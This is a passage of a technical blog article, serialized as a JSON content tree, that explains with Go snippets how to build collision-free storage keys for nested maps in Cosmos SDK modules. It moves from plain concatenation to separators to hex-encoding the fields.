Position",{"type":23,"tag":75,"props":9462,"children":9463},{"style":82},[9464],{"type":29,"value":396},{"type":23,"tag":75,"props":9466,"children":9467},{"style":94},[9468],{"type":29,"value":401},{"type":23,"tag":75,"props":9470,"children":9471},{"class":77,"line":161},[9472,9477,9481],{"type":23,"tag":75,"props":9473,"children":9474},{"style":110},[9475],{"type":29,"value":9476},"    data",{"type":23,"tag":75,"props":9478,"children":9479},{"style":94},[9480],{"type":29,"value":439},{"type":23,"tag":75,"props":9482,"children":9483},{"style":104},[9484],{"type":29,"value":8611},{"type":23,"tag":75,"props":9486,"children":9487},{"class":77,"line":196},[9488],{"type":23,"tag":75,"props":9489,"children":9490},{"style":94},[9491],{"type":29,"value":369},{"type":23,"tag":75,"props":9493,"children":9494},{"class":77,"line":220},[9495,9499,9504],{"type":23,"tag":75,"props":9496,"children":9497},{"style":82},[9498],{"type":29,"value":386},{"type":23,"tag":75,"props":9500,"children":9501},{"style":104},[9502],{"type":29,"value":9503}," PositionMap",{"type":23,"tag":75,"props":9505,"children":9506},{"style":209},[9507],{"type":29,"value":9508}," :=\n",{"type":23,"tag":75,"props":9510,"children":9511},{"class":77,"line":248},[9512,9517,9521,9526,9530,9534,9538,9543,9547,9551,9555,9560,9564],{"type":23,"tag":75,"props":9513,"children":9514},{"style":82},[9515],{"type":29,"value":9516},"    map",{"type":23,"tag":75,"props":9518,"children":9519},{"style":94},[9520],{"type":29,"value":814},{"type":23,"tag":75,"props":9522,"children":9523},{"style":104},[9524],{"type":29,"value":9525},"VaultId",{"type":23,"tag":75,"props":9527,"children":9528},{"style":94},[9529],{"type":29,"value":1610},{"type":23,"tag":75,"props":9531,"children":9532},{"style":82},[9533],{"type":29,"value":1847},{"type":23,"tag":75,"props":9535,"children":9536},{"style":94},[9537],{"type":29,"value":814},{"type":23,"tag":75,"props":9539,"children":9540},{"style":104},[9541],{"type":29,"value":9542},"Username",{"type":23,"tag":75,"props":9544,"children":9545},{"style":94},[9546],{"type":29,"value":1610},{"type":23,"tag":75,"props":9548,"children":9549},{"style":82},[9550],{"type":29,"value":1847},{"type":23,"tag":75,"props":9552,"children":9553},{"style":94},[9554],{"type":29,"value":814},{"type":23,"tag":75,"props":9556,"children":9557},{"style":104},[9558],{"type":29,"value":9559},"PositionName",{"type":23,"tag":75,"props":9561,"children":9562},{"style":94},[9563],{"type":29,"value":1610},{"type":23,"tag":75,"props":9565,"children":9566},{"style":104},[9567],{"type":29,"value":9568},"Position\n",{"type":23,"tag":32,"props":9570,"children":9571},{},[9572,9574,9580],{"type":29,"value":9573},"Given that there are two levels of keys in ",{"type":23,"tag":71,"props":9575,"children":9577},{"className":9576},[],[9578],{"type":29,"value":9579},"PositionMap",{"type":29,"value":9581},", we should try to serialize these three map keys into a hierarchically searchable storage key. The most straightforward mitigation is to convert all fields into strings and concat them together.",{"type":23,"tag":64,"props":9583,"children":9585},{"code":9584,"language":373,"meta":7,"className":374,"style":7},"storageKey := fmt.Sprintf(\n    \"%d%s%s\",\n    vaultId,\n    username,\n    positionName,\n)\n",[9586],{"type":23,"tag":71,"props":9587,"children":9588},{"__ignoreMap":7},[9589,9618,9630,9642,9654,9666],{"type":23,"tag":75,"props":9590,"children":9591},{"class":77,"line":78},[9592,9597,9601,9605,9609,9614],{"type":23,"tag":75,"props":9593,"children":9594},{"style":110},[9595],{"type":29,"value":9596},"storageKey",{"type":23,"tag":75,"props":9598,"children":9599},{"style":209},[9600],{"type":29,"value":633},{"type":23,"tag":75,"props":9602,"children":9603},{"style":110},[9604],{"type":29,"value":6604},{"type":23,"tag":75,"props":9606,"children":9607},{"style":94},[9608],{"type":29,"value":557},{"type":23,"tag":75,"props":9610,"children":9611},{"style":88},[9612],{"type":29,"value":9613},"Sprintf",{"type":23,"tag":75,"props":9615,"children":9616},{"style":94},[9617],{"type":29,"value":97},{"type":23,"tag":75,"props":9619,"children":9620},{"class":77,"line":100},[9621,9626],{"type":23,"tag":75,"props":9622,"children":9623},{"style":1266},[9624],{"type":29,"value":9625},"    \"%d%s%s\"",{"type":23,"tag":75,"props":9627,"children":9628},{"style":94},[9629],{"type":29,"value":118},{"type":23,"tag":75,"props":9631,"children":9632},{"class":77,"line":121},[9633,9638],{"type":23,"tag":75,"props":9634,"children":9635},{"style":110},[9636],{"type":29,"value":9637},"    vaultId",{"type":23,"tag":75,"props":9639,"children":9640},{"style":94},[9641],{"type":29,"value":118},{"type":23,"tag":75,"props":9643,"children":9644},{"class":77,"line":138},[9645,9650],{"type":23,"tag":75,"props":9646,"children":9647},{"style":110},[9648],{"type":29,"value":9649},"    username",{"type":23,"tag":75,"props":9651,"children":9652},{"style":94},[9653],{"type":29,"value":118},{"type":23,"tag":75,"props":9655,"children":9656},{"class":77,"line":161},[9657,9662],{"type":23,"tag":75,"props":9658,"children":9659},{"style":110},[9660],{"type":29,"value":9661},"    positionName",{"type":23,"tag":75,"props":9663,"children":9664},{"style":94},[9665],{"type":29,"value":118},{"type":23,"tag":75,"props":9667,"children":9668},{"class":77,"line":196},[9669],{"type":23,"tag":75,"props":9670,"children":9671},{"style":94},[9672],{"type":29,"value":653},{"type":23,"tag":32,"props":9674,"children":9675},{},[9676],{"type":29,"value":9677},"Although plain concatenation allows us to easily construct a storage key, it becomes apparent that this implementation is prone to key collisions.",{"type":23,"tag":64,"props":9679,"children":9681},{"code":9680},"vaultId = 1,  username = \"2a\", positionName = \"b\"\n    => storageKey = \"12ab\"\n\nvaultId = 12, username = \"a\",  positionName = \"b\"\n    => storageKey = \"12ab\"\n",[9682],{"type":23,"tag":71,"props":9683,"children":9684},{"__ignoreMap":7},[9685],{"type":29,"value":9680},{"type":23,"tag":32,"props":9687,"children":9688},{},[9689,9695],{"type":23,"tag":9690,"props":9691,"children":9692},"em",{},[9693],{"type":29,"value":9694},"So, how can we mitigate this issue?",{"type":29,"value":9696},"\nPerhaps we can add a field separator between each field, which would resemble the following:",{"type":23,"tag":64,"props":9698,"children":9700},{"code":9699,"language":373,"meta":7,"className":374,"style":7},"const (\n    Seperator = \"|\"\n)\n\nstorageKey := fmt.Sprintf(\n    \"%d%s%s%s%s\",\n    vaultId,\n    Seperator,\n    username,\n    Seperator,\n    positionName,\n)\n",[9701],{"type":23,"tag":71,"props":9702,"children":9703},{"__ignoreMap":7},[9704,9715,9732,9739,9746,9773,9785,9796,9807,9818,9829,9840],{"type":23,"tag":75,"props":9705,"children":9706},{"class":77,"line":78},[9707,9711],{"type":23,"tag":75,"props":9708,"children":9709},{"style":82},[9710],{"type":29,"value":2869},{"type":23,"tag":75,"props":9712,"children":9713},{"style":94},[9714],{"type":29,"value":2874},{"type":23,"tag":75,"props":9716,"children":9717},{"class":77,"line":100},[9718,9723,9727],{"type":23,"tag":75,"props":9719,"children":9720},{"style":110},[9721],{"type":29,"value":9722},"    Seperator",{"type":23,"tag":75,"props":9724,"children":9725},{"style":209},[9726],{"type":29,"value":1193},{"type":23,"tag":75,"props":9728,"children":9729},{"style":1266},[9730],{"type":29,"value":9731}," \"|\"\n",{"type":23,"tag":75,"props":9733,"children":9734},{"class":77,"line":121},[9735],{"type":23,"tag":75,"props":9736,"children":9737},{"style":94},[9738],{"type":29,"value":653},{"type":23,"tag":75,"props":9740,"children":9741},{"class":77,"line":138},[9742],{"type":23,"tag":75,"props":9743,"children":9744},{"emptyLinePlaceholder":15},[9745],{"type":29,"value":276},{"type":23,"tag":75,"props":9747,"children":9748},{"class":77,"line":161},[9749,9753,9757,9761,9765,9769],{"type":23,"tag":75,"props":9750,"children":9751},{"style":110},[9752],{"type":29,"value":9596},{"type":23,"tag":75,"props":9754,"children":9755},{"style":209},[9756],{"type":29,"value":633},{"type":23,"tag":75,"props":9758,"children":9759},{"style":110},[9760],{"type":29,"value":6604},{"type":23,"tag":75,"props":9762,"children":9763},{"style":94},[9764],{"type":29,"value":557},{"type":23,"tag":75,"props":9766,"children":9767},{"style":88},[9768],{"type":29,"value":9613},{"type":23,"tag":75,"props":9770,"children":9771},{"style":94},[9772],{"type":29,"value":97},{"type":23,"tag":75,"props":9774,"children":9775},{"class":77,"line":196},[9776,9781],{"type":23,"tag":75,"props":9777,"children":9778},{"style":1266},[9779],{"type":29,"value":9780},"    \"%d%s%s%s%s\"",{"type":23,"tag":75,"props":9782,"children":9783},{"style":94},[9784],{"type":29,"value":118},{"type":23,"tag":75,"props":9786,"children":9787},{"class":77,"line":220},[9788,9792],{"type":23,"tag":75,"props":9789,"children":9790},{"style":110},[9791],{"type":29,"value":9637},{"type":23,"tag":75,"props":9793,"children":9794},{"style":94},[9795],{"type":29,"value":118},{"type":23,"tag":75,"props":9797,"children":9798},{"class":77,"line":248},[9799,9803],{"type":23,"tag":75,"props":9800,"children":9801},{"style":110},[9802],{"type":29,"value":9722},{"type":23,"tag":75,"props":9804,"children":9805},{"style":94},[9806],{"type":29,"value":118},{"type":23,"tag":75,"props":9808,"children":9809},{"class":77,"line":270},[9810,9814],{"type":23,"tag":75,"props":9811,"children":9812},{"style":110},[9813],{"type":29,"value":9649},{"type":23,"tag":75,"props":9815,"children":9816},{"style":94},[9817],{"type":29,"value":118},{"type":23,"tag":75,"props":9819,"children":9820},{"class":77,"line":279},[9821,9825],{"type":23,"tag":75,"props":9822,"children":9823},{"style":110},[9824],{"type":29,"value":9722},{"type":23,"tag":75,"props":9826,"children":9827},{"style":94},[9828],{"type":29,"value":118},{"type":23,"tag":75,"props":9830,"children":9831},{"class":77,"line":303},[9832,9836],{"type":23,"tag":75,"props":9833,"children":9834},{"style":110},[9835],{"type":29,"value":9661},{"type":23,"tag":75,"props":9837,"children":9838},{"style":94},[9839],{"type":29,"value":118},{"type":23,"tag":75,"props":9841,"children":9842},{"class":77,"line":322},[9843],{"type":23,"tag":75,"props":9844,"children":9845},{"style":94},[9846],{"type":29,"value":653},{"type":23,"tag":32,"props":9848,"children":9849},{},[9850],{"type":29,"value":9851},"Inserting a separator helps prevent most accidental collisions, but does it completely solve the problem?",{"type":23,"tag":32,"props":9853,"children":9854},{},[9855,9857,9863,9864,9870],{"type":29,"value":9856},"Sadly, it doesn't. Since the ",{"type":23,"tag":71,"props":9858,"children":9860},{"className":9859},[],[9861],{"type":29,"value":9862},"username",{"type":29,"value":2721},{"type":23,"tag":71,"props":9865,"children":9867},{"className":9866},[],[9868],{"type":29,"value":9869},"vaultName",{"type":29,"value":9871}," are both strings that may contain arbitrary characters (including the separator), collisions can still happen.",{"type":23,"tag":64,"props":9873,"children":9875},{"code":9874},"vaultId = 1, username = \"a|\", positionName = \"b\"\n    => storageKey = \"1|a||b\"\n\nvaultId = 1, username = \"a\",  positionName = \"|b\"\n    => storageKey = \"1|a||b\"\n",[9876],{"type":23,"tag":71,"props":9877,"children":9878},{"__ignoreMap":7},[9879],{"type":29,"value":9874},{"type":23,"tag":32,"props":9881,"children":9882},{},[9883],{"type":29,"value":9884},"To further mitigate this, we could encode all fields to ensure that the separator is excluded in individual fields, thus making field injections impossible.",{"type":23,"tag":64,"props":9886,"children":9888},{"code":9887,"language":373,"meta":7,"className":374,"style":7},"const (\n    Seperator = \"|\"\n)\n\n\nusernameEncoded := make(\n    []byte,\n    hex.EncodedLen(len(username)),\n)\nhex.Encode(usernameEncoded, username)\n\npositionNameEncoded := make(\n    []byte,\n    hex.EncodedLen(len(positionName)),\n)\nhex.Encode(positionNameEncoded, positionName)\n\nstorageKey := fmt.Sprintf(\n    \"%d%s%s%s%s\",\n    vaultId,\n    Seperator,\n    usernameEncoded,\n    Seperator,\n    positionNameEncoded\n)\n",[9889],{"type":23,"tag":71,"props":9890,"children":9891},{"__ignoreMap":7},[9892,9903,9918,9925,9932,9939,9960,9976,10014,10021,10058,10065,10085,10100,10136,10143,10178,10185,10212,10223,10234,10245,10257,10268,10276],{"type":23,"tag":75,"props":9893,"children":9894},{"class":77,"line":78},[9895,9899],{"type":23,"tag":75,"props":9896,"children":9897},{"style":82},[9898],{"type":29,"value":2869},{"type":23,"tag":75,"props":9900,"children":9901},{"style":94},[9902],{"type":29,"value":2874},{"type":23,"tag":75,"props":9904,"children":9905},{"class":77,"line":100},[9906,9910,9914],{"type":23,"tag":75,"props":9907,"children":9908},{"style":110},[9909],{"type":29,"value":9722},{"type":23,"tag":75,"props":9911,"children":9912},{"style":209},[9913],{"type":29,"value":1193},{"type":23,"tag":75,"props":9915,"children":9916},{"style":1266},[9917],{"type":29,"value":9731},{"type":23,"tag":75,"props":9919,"children":9920},{"class":77,"line":121},[9921],{"type":23,"tag":75,"props":9922,"children":9923},{"style":94},[9924],{"type":29,"value":653},{"type":23,"tag":75,"props":9926,"children":9927},{"class":77,"line":138},[9928],{"type":23,"tag":75,"props":9929,"children":9930},{"emptyLinePlaceholder":15},[9931],{"type":29,"value":276},{"type":23,"tag":75,"props":9933,"children":9934},{"class":77,"line":161},[9935],{"type":23,"tag":75,"props":9936,"children":9937},{"emptyLinePlaceholder":15},[9938],{"type":29,"value":276},{"type":23,"tag":75,"props":9940,"children":9941},{"class":77,"line":196},[9942,9947,9951,9956],{"type":23,"tag":75,"props":9943,"children":9944},{"style":110},[9945],{"type":29,"value":9946},"usernameEncoded",{"type":23,"tag":75,"props":9948,"children":9949},{"style":209},[9950],{"type":29,"value":633},{"type":23,"tag":75,"props":9952,"children":9953},{"style":88},[9954],{"type":29,"value":9955}," make",{"type":23,"tag":75,"props":9957,"children":9958},{"style":94},[9959],{"type":29,"value":97},{"type":23,"tag":75,"props":9961,"children":9962},{"class":77,"line":220},[9963,9968,9972],{"type":23,"tag":75,"props":9964,"children":9965},{"style":94},[9966],{"type":29,"value":9967},"    []",{"type":23,"tag":75,"props":9969,"children":9970},{"style":104},[9971],{"type":29,"value":9151},{"type":23,"tag":75,"props":9973,"children":9974},{"style":94},[9975],{"type":29,"value":118},{"type":23,"tag":75,"props":9977,"children":9978},{"class":77,"line":248},[9979,9984,9988,9993,9997,10001,10005,10009],{"type":23,"tag":75,"props":9980,"children":9981},{"style":110},[9982],{"type":29,"value":9983},"    hex",{"type":23,"tag":75,"props":9985,"children":9986},{"style":94},[9987],{"type":29,"value":557},{"type":23,"tag":75,"props":9989,"children":9990},{"style":88},[9991],{"type":29,"value":9992},"EncodedLen",{"type":23,"tag":75,"props":9994,"children":9995},{"style":94},[9996],{"type":29,"value":643},{"type":23,"tag":75,"props":9998,"children":9999},{"style":88},[10000],{"type":29,"value":679},{"type":23,"tag":75,"props":10002,"children":10003},{"style":94},[10004],{"type":29,"value":643},{"type":23,"tag":75,"props":10006,"children":10007},{"style":110},[10008],{"type":29,"value":9862},{"type":23,"tag":75,"props":10010,"children":10011},{"style":94},[10012],{"type":29,"value":10013},")),\n",{"type":23,"tag":75,"props":10015,"children":10016},{"class":77,"line":270},[10017],{"type":23,"tag":75,"props":10018,"children":10019},{"style":94},[10020],{"type":29,"value":653},{"type":23,"tag":75,"props":10022,"children":10023},{"class":77,"line":279},[10024,10029,10033,10038,10042,10046,10050,10054],{"type":23,"tag":75,"props":10025,"children":10026},{"style":110},[10027],{"type":29,"value":10028},"hex",{"type":23,"tag":75,"props":10030,"children":10031},{"style":94},[10032],{"type":29,"value":557},{"type":23,"tag":75,"props":10034,"children":10035},{"style":88},[10036],{"type":29,"value":10037},"Encode",{"type":23,"tag":75,"props":10039,"children":10040},{"style":94},[10041],{"type":29,"value":643},{"type":23,"tag":75,"props":10043,"children":10044},{"style":110},[10045],{"type":29,"value":9946},{"type":23,"tag":75,"props":10047,"children":10048},{"style":94},[10049],{"type":29,"value":611},{"type":23,"tag":75,"props":10051,"children":10052},{"style":110},[10053],{"type":29,"value":9862},{"type":23,"tag":75,"props":10055,"children":10056},{"style":94},[10057],{"type":29,"value":653},{"type":23,"tag":75,"props":10059,"children":10060},{"class":77,"line":303},[10061],{"type":23,"tag":75,"props":10062,"children":10063},{"emptyLinePlaceholder":15},[10064],{"type":29,"value":276},{"type":23,"tag":75,"props":10066,"children":10067},{"class":77,"line":322},[10068,10073,10077,10081],{"type":23,"tag":75,"props":10069,"children":10070},{"style":110},[10071],{"type":29,"value":10072},"positionNameEncoded",{"type":23,"tag":75,"props":10074,"children":10075},{"style":209},[10076],{"type":29,"value":633},{"type":23,"tag":75,"props":10078,"children":10079},{"style":88},[10080],{"type":29,"value":9955},{"type":23,"tag":75,"props":10082,"children":10083},{"style":94},[10084],{"type":29,"value":97},{"type":23,"tag":75,"props":10086,"children":10087},{"class":77,"line":340},[10088,10092,10096],{"type":23,"tag":75,"props":10089,"children":10090},{"style":94},[10091],{"type":29,"value":9967},{"type":23,"tag":75,"props":10093,"children":10094},{"style":104},[10095],{"type":29,"value":9151},{"type":23,"tag":75,"props":10097,"children":10098},{"style":94},[10099],{"type":29,"value":118},{"type":23,"tag":75,"props":10101,"children":10102},{"class":77,"line":349},[10103,10107,10111,10115,10119,10123,10127,10132],{"type":23,"tag":75,"props":10104,"children":10105},{"style":110},[10106],{"type":29,"value":9983},{"type":23,"tag":75,"props":10108,"children":10109},{"style":94},[10110],{"type":29,"value":557},{"type":23,"tag":75,"props":10112,"children":10113},{"style":88},[10114],{"type":29,"value":9992},{"type":23,"tag":75,"props":10116,"children":10117},{"style":94},[10118],{"type":29,"value":643},{"type":23,"tag":75,"props":10120,"children":10121},{"style":88},[10122],{"type":29,"value":679},{"type":23,"tag":75,"props":10124,"children":10125},{"style":94},[10126],{"type":29,"value":643},{"type":23,"tag":75,"props":10128,"children":10129},{"style":110},[10130],{"type":29,"value":10131},"positionName",{"type":23,"tag":75,"props":10133,"children":10134},{"style":94},[10135],{"type":29,"value":10013},{"type":23,"tag":75,"props":10137,"children":10138},{"class":77,"line":363},[10139],{"type":23,"tag":75,"props":10140,"children":10141},{"style":94},[10142],{"type":29,"value":653},{"type":23,"tag":75,"props":10144,"children":10145},{"class":77,"line":656},[10146,10150,10154,10158,10162,10166,10170,10174],{"type":23,"tag":75,"props":10147,"children":10148},{"style":110},[10149],{"type":29,"value":10028},{"type":23,"tag":75,"props":10151,"children":10152},{"style":94},[10153],{"type":29,"value":557},{"type":23,"tag":75,"props":10155,"children":10156},{"style":88},[10157],{"type":29,"value":10037},{"type":23,"tag":75,"props":10159,"children":10160},{"style":94},[10161],{"type":29,"value":643},{"type":23,"tag":75,"props":10163,"children":10164},{"style":110},[10165],{"type":29,"value":10072},{"type":23,"tag":75,"props":10167,"children":10168},{"style":94},[10169],{"type":29,"value":611},{"type":23,"tag":75,"props":10171,"children":10172},{"style":110},[10173],{"type":29,"value":10131},{"type":23,"tag":75,"props":10175,"children":10176},{"style":94},[10177],{"type":29,"value":653},{"type":23,"tag":75,"props":10179,"children":10180},{"class":77,"line":705},[10181],{"type":23,"tag":75,"props":10182,"children":10183},{"emptyLinePlaceholder":15},[10184],{"type":29,"value":276},{"type":23,"tag":75,"props":10186,"children":10187},{"class":77,"line":787},[10188,10192,10196,10200,10204,10208],{"type":23,"tag":75,"props":10189,"children":10190},{"style":110},[10191],{"type":29,"value":9596},{"type":23,"tag":75,"props":10193,"children":10194},{"style":209},[10195],{"type":29,"value":633},{"type":23,"tag":75,"props":10197,"children":10198},{"style":110},[10199],{"type":29,"value":6604},{"type":23,"tag":75,"props":10201,"children":10202},{"style":94},[10203],{"type":29,"value":557},{"type":23,"tag":75,"props":10205,"children":10206},{"style":88},[10207],{"type":29,"value":9613},{"type":23,"tag":75,"props":10209,"children":10210},{"style":94},[10211],{"type":29,"value":97},{"type":23,"tag":75,"props":10213,"children":10214},{"class":77,"line":826},[10215,10219],{"type":23,"tag":75,"props":10216,"children":10217},{"style":1266},[10218],{"type":29,"value":9780},{"type":23,"tag":75,"props":10220,"children":10221},{"style":94},[10222],{"type":29,"value":118},{"type":23,"tag":75,"props":10224,"children":10225},{"class":77,"line":834},[10226,10230],{"type":23,"tag":75,"props":10227,"children":10228},{"style":110},[10229],{"type":29,"value":9637},{"type":23,"tag":75,"props":10231,"children":10232},{"style":94},[10233],{"type":29,"value":118},{"type":23,"tag":75,"props":10235,"children":10236},{"class":77,"line":881},[10237,10241],{"type":23,"tag":75,"props":10238,"children":10239},{"style":110},[10240],{"type":29,"value":9722},{"type":23,"tag":75,"props":10242,"children":10243},{"style":94},[10244],{"type":29,"value":118},{"type":23,"tag":75,"props":10246,"children":10247},{"class":77,"line":3355},[10248,10253],{"type":23,"tag":75,"props":10249,"children":10250},{"style":110},[10251],{"type":29,"value":10252},"    usernameEncoded",{"type":23,"tag":75,"props":10254,"children":10255},{"style":94},[10256],{"type":29,"value":118},{"type":23,"tag":75,"props":10258,"children":10259},{"class":77,"line":3390},[10260,10264],{"type":23,"tag":75,"props":10261,"children":10262},{"style":110},[10263],{"type":29,"value":9722},{"type":23,"tag":75,"props":10265,"children":10266},{"style":94},[10267],{"type":29,"value":118},{"type":23,"tag":75,"props":10269,"children":10270},{"class":77,"line":3423},[10271],{"type":23,"tag":75,"props":10272,"children":10273},{"style":110},[10274],{"type":29,"value":10275},"    positionNameEncoded\n",{"type":23,"tag":75,"props":10277,"children":10278},{"class":77,"line":3436},[10279],{"type":23,"tag":75,"props":10280,"children":10281},{"style":94},[10282],{"type":29,"value":653},{"type":23,"tag":32,"props":10284,"children":10285},{},[10286,10288,10293],{"type":29,"value":10287},"We did it. We finally eliminated all potential ",{"type":23,"tag":71,"props":10289,"children":10291},{"className":10290},[],[10292],{"type":29,"value":9596},{"type":29,"value":10294}," collisions.",{"type":23,"tag":32,"props":10296,"children":10297},{},[10298],{"type":29,"value":10299},"Until now, our focus has primarily been on storing a single structure. We recognize that in real-world applications, we frequently encounter scenarios where multiple structures must be stored as persistent states.",{"type":23,"tag":32,"props":10301,"children":10302},{},[10303,10305,10311,10313,10318,10320,10325,10327,10332,10334,10340],{"type":29,"value":10304},"In the Cosmos framework, it is common for each ",{"type":23,"tag":71,"props":10306,"children":10308},{"className":10307},[],[10309],{"type":29,"value":10310},"Module",{"type":29,"value":10312}," to own a few ",{"type":23,"tag":71,"props":10314,"children":10316},{"className":10315},[],[10317],{"type":29,"value":9365},{"type":29,"value":10319}," and have individual ",{"type":23,"tag":71,"props":10321,"children":10323},{"className":10322},[],[10324],{"type":29,"value":4276},{"type":29,"value":10326},"s managing access to storages. It's also important to note that each ",{"type":23,"tag":71,"props":10328,"children":10330},{"className":10329},[],[10331],{"type":29,"value":9365},{"type":29,"value":10333}," should be independent from one another, alleviating developers from having to worry about key collisions between different ",{"type":23,"tag":71,"props":10335,"children":10337},{"className":10336},[],[10338],{"type":29,"value":10339},"Modules",{"type":29,"value":557},{"type":23,"tag":32,"props":10342,"children":10343},{},[10344,10346,10351],{"type":29,"value":10345},"With that being said, what if we have to maintain more than one structure within the same ",{"type":23,"tag":71,"props":10347,"children":10349},{"className":10348},[],[10350],{"type":29,"value":9365},{"type":29,"value":1225},{"type":23,"tag":32,"props":10353,"children":10354},{},[10355,10357,10363,10365,10370],{"type":29,"value":10356},"To demonstrate this scenario, we introduce the ",{"type":23,"tag":71,"props":10358,"children":10360},{"className":10359},[],[10361],{"type":29,"value":10362},"NameToAddressMap",{"type":29,"value":10364}," structure, which will be stored in the same ",{"type":23,"tag":71,"props":10366,"children":10368},{"className":10367},[],[10369],{"type":29,"value":9365},{"type":29,"value":10371}," we previously used.",{"type":23,"tag":64,"props":10373,"children":10375},{"code":10374,"language":373,"meta":7,"className":374,"style":7},"type VaultId uint64\ntype Username string\n\ntype PositionName string\ntype Position struct {\n    data []byte\n}\ntype PositionMap :=\n    map[VaultId]map[Username]map[PositionName]Position\n\ntype AddressName string\ntype Address struct {\n data []byte\n}\ntype AddressMap :=\n    map[VaultId]map[Username]map[AddressName]Address\n",[10376],{"type":23,"tag":71,"props":10377,"children":10378},{"__ignoreMap":7},[10379,10394,10409,10416,10431,10450,10465,10472,10487,10542,10549,10565,10585,10601,10608,10624],{"type":23,"tag":75,"props":10380,"children":10381},{"class":77,"line":78},[10382,10386,10390],{"type":23,"tag":75,"props":10383,"children":10384},{"style":82},[10385],{"type":29,"value":386},{"type":23,"tag":75,"props":10387,"children":10388},{"style":104},[10389],{"type":29,"value":9411},{"type":23,"tag":75,"props":10391,"children":10392},{"style":104},[10393],{"type":29,"value":414},{"type":23,"tag":75,"props":10395,"children":10396},{"class":77,"line":100},[10397,10401,10405],{"type":23,"tag":75,"props":10398,"children":10399},{"style":82},[10400],{"type":29,"value":386},{"type":23,"tag":75,"props":10402,"children":10403},{"style":104},[10404],{"type":29,"value":9427},{"type":23,"tag":75,"props":10406,"children":10407},{"style":104},[10408],{"type":29,"value":9432},{"type":23,"tag":75,"props":10410,"children":10411},{"class":77,"line":121},[10412],{"type":23,"tag":75,"props":10413,"children":10414},{"emptyLinePlaceholder":15},[10415],{"type":29,"value":276},{"type":23,"tag":75,"props":10417,"children":10418},{"class":77,"line":138},[10419,10423,10427],{"type":23,"tag":75,"props":10420,"children":10421},{"style":82},[10422],{"type":29,"value":386},{"type":23,"tag":75,"props":10424,"children":10425},{"style":104},[10426],{"type":29,"value":9444},{"type":23,"tag":75,"props":10428,"children":10429},{"style":104},[10430],{"type":29,"value":9432},{"type":23,"tag":75,"props":10432,"children":10433},{"class":77,"line":161},[10434,10438,10442,10446],{"type":23,"tag":75,"props":10435,"children":10436},{"style":82},[10437],{"type":29,"value":386},{"type":23,"tag":75,"props":10439,"children":10440},{"style":104},[10441],{"type":29,"value":9460},{"type":23,"tag":75,"props":10443,"children":10444},{"style":82},[10445],{"type":29,"value":396},{"type":23,"tag":75,"props":10447,"children":10448},{"style":94},[10449],{"type":29,"value":401},{"type":23,"tag":75,"props":10451,"children":10452},{"class":77,"line":196},[10453,10457,10461],{"type":23,"tag":75,"props":10454,"children":10455},{"style":110},[10456],{"type":29,"value":9476},{"type":23,"tag":75,"props":10458,"children":10459},{"style":94},[10460],{"type":29,"value":439},{"type":23,"tag":75,"props":10462,"children":10463},{"style":104},[10464],{"type":29,"value":8611},{"type":23,"tag":75,"props":10466,"children":10467},{"class":77,"line":220},[10468],{"type":23,"tag":75,"props":10469,"children":10470},{"style":94},[10471],{"type":29,"value":369},{"type":23,"tag":75,"props":10473,"children":10474},{"class":77,"line":248},[10475,10479,10483],{"type":23,"tag":75,"props":10476,"children":10477},{"style":82},[10478],{"type":29,"value":386},{"type":23,"tag":75,"props":10480,"children":10481},{"style":104},[10482],{"type":29,"value":9503},{"type":23,"tag":75,"props":10484,"children":10485},{"style":209},[10486],{"type":29,"value":9508},{"type":23,"tag":75,"props":10488,"children":10489},{"class":77,"line":270},[10490,10494,10498,10502,10506,10510,10514,10518,10522,10526,10530,10534,10538],{"type":23,"tag":75,"props":10491,"children":10492},{"style":82},[10493],{"type":29,"value":9516},{"type":23,"tag":75,"props":10495,"children":10496},{"style":94},[10497],{"type":29,"value":814},{"type":23,"tag":75,"props":10499,"children":10500},{"style":104},[10501],{"type":29,"value":9525},{"type":23,"tag":75,"props":10503,"children":10504},{"style":94},[10505],{"type":29,"value":1610},{"type":23,"tag":75,"props":10507,"children":10508},{"style":82},[10509],{"type":29,"value":1847},{"type":23,"tag":75,"props":10511,"children":10512},{"style":94},[10513],{"type":29,"value":814},{"type":23,"tag":75,"props":10515,"children":10516},{"style":104},[10517],{"type":29,"value":9542},{"type":23,"tag":75,"props":10519,"children":10520},{"style":94},[10521],{"type":29,"value":1610},{"type":23,"tag":75,"props":10523,"children":10524},{"style":82},[10525],{"type":29,"value":1847},{"type":23,"tag":75,"props":10527,"children":10528},{"style":94},[10529],{"type":29,"value":814},{"type":23,"tag":75,"props":10531,"children":10532},{"style":104},[10533],{"type":29,"value":9559},{"type":23,"tag":75,"props":10535,"children":10536},{"style":94},[10537],{"type":29,"value":1610},{"type":23,"tag":75,"props":10539,"children":10540},{"style":104},[10541],{"type":29,"value":9568},{"type":23,"tag":75,"props":10543,"children":10544},{"class":77,"line":279},[10545],{"type":23,"tag":75,"props":10546,"children":10547},{"emptyLinePlaceholder":15},[10548],{"type":29,"value":276},{"type":23,"tag":75,"props":10550,"children":10551},{"class":77,"line":303},[10552,10556,10561],{"type":23,"tag":75,"props":10553,"children":10554},{"style":82},[10555],{"type":29,"value":386},{"type":23,"tag":75,"props":10557,"children":10558},{"style":104},[10559],{"type":29,"value":10560}," AddressName",{"type":23,"tag":75,"props":10562,"children":10563},{"style":104},[10564],{"type":29,"value":9432},{"type":23,"tag":75,"props":10566,"children":10567},{"class":77,"line":322},[10568,10572,10577,10581],{"type":23,"tag":75,"props":10569,"children":10570},{"style":82},[10571],{"type":29,"value":386},{"type":23,"tag":75,"props":10573,"children":10574},{"style":104},[10575],{"type":29,"value":10576}," Address",{"type":23,"tag":75,"props":10578,"children":10579},{"style":82},[10580],{"type":29,"value":396},{"type":23,"tag":75,"props":10582,"children":10583},{"style":94},[10584],{"type":29,"value":401},{"type":23,"tag":75,"props":10586,"children":10587},{"class":77,"line":340},[10588,10593,10597],{"type":23,"tag":75,"props":10589,"children":10590},{"style":110},[10591],{"type":29,"value":10592}," data",{"type":23,"tag":75,"props":10594,"children":10595},{"style":94},[10596],{"type":29,"value":439},{"type":23,"tag":75,"props":10598,"children":10599},{"style":104},[10600],{"type":29,"value":8611},{"type":23,"tag":75,"props":10602,"children":10603},{"class":77,"line":349},[10604],{"type":23,"tag":75,"props":10605,"children":10606},{"style":94},[10607],{"type":29,"value":369},{"type":23,"tag":75,"props":10609,"children":10610},{"class":77,"line":363},[10611,10615,10620],{"type":23,"tag":75,"props":10612,"children":10613},{"style":82},[10614],{"type":29,"value":386},{"type":23,"tag":75,"props":10616,"children":10617},{"style":104},[10618],{"type":29,"value":10619}," 